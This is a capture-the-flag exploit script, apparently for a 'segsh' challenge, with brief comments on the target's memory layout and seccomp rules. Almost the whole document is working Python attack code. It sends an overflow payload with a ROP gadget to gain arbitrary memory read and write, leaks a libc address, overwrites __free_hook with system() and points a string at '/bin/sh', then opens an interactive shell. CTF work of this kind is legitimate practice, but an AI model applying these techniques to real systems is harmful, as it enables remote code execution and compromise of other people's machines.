Tags: python pwn
Rating:
#thread mem:
# 00000-02000:---:ldt2:
#1. 00000-02000:RWX:Text:CC
# 02000-14000:---:ldt0:ds,es,fs
#2. 12000-14000:RW-:Data
# 14000-1C000:RWX:????
# 1C000-2C000:RWX:ldt1:ss
#3. 24000-2C000:RW-:Stack
# ecx translation
# 00000-08000:Code, disallowed
# 08000-10000:Stack + ecx - 8000
# 10000- :Data + ecx - 10000
# [0] ld [0] ; jt = 0; jf = 0; k = 0;
# [1] je #3, l2, l3 ; jt = 0; jf = 1; k = 3;
# [2] ret SECCOMP_RET_ALLOW ; jt = 0; jf = 0; k = 0x7FF00000;
# [3] je #4, l4, l5 ; jt = 0; jf = 1; k = 4;
# [4] ret SECCOMP_RET_ALLOW ; jt = 0; jf = 0; k = 0x7FF00000;
# [5] je #1, l6, l7 ; jt = 0; jf = 1; k = 1;
# [6] ret SECCOMP_RET_ALLOW ; jt = 0; jf = 0; k = 0x7FFF0000;
# [7] ret SECCOMP_RET_KILL ; jt = 0; jf = 0; k = 0
from pwn import *
#s = process(['./segsh', '99999'])
s = remote('segsh.bostonkey.party', 8888)
s.recvuntil('__')
s.sendline('install -i echo')
s.recvuntil('__')
s.sendline('exec -e echo')
s.recvuntil('string: ')
exit = 0x10
syscall = 0x15
g1 = 0x69 # pop eax; pop ebx; pop edx; pop ecx; leave; ret;
pread = 0x6f
pwrite = 0x4d
leave = 0x4b
#gdb.attach(s)
def read(offset, size=0x1000):
p = '\xcc' * (1016)
p += p32(0xa000) # ebp
p += p32(pwrite)
p += p32(0)
p += p32(offset, sign='signed') # data
p += p32(size) # len
p += 'POOP'
s.send(p)
s.recvuntil('POOP')
data = s.recvn(size)
#print repr(s.recvuntil('string: '))
return data
def write(offset, data):
p = '\xcc' * (1016)
p += p32(0xa000) # ebp
p += p32(pread)
p += p32(0) # ret
p += p32(offset, sign='signed') # data
p += p32(len(data)) # len
p += 'CACA'
s.send(p)
sleep(0.1)
s.send(data)
s.recvuntil('CACA')
# Found those adress through previous memory scanning
base = 0x1f6000
libc_base = 0x1b000
libc_free = u32(read(base+0x4F94, 0x4))
libc = libc_free - 0x76C60
print(hex(libc))
# Rewrite package description to "/bin/sh"
write(base+0x5018, p32(libc + 0x160A24))
# Rewrit __free_hook to system()
write(libc_base + 0x1AB8D8, p32(libc + 0x40190))
s.sendline('cya')
s.recvuntil('__')
s.sendline('install -i hello')
s.recvuntil('__')
s.sendline('uninstall -u hello')
sleep(0.5)
s.interactive()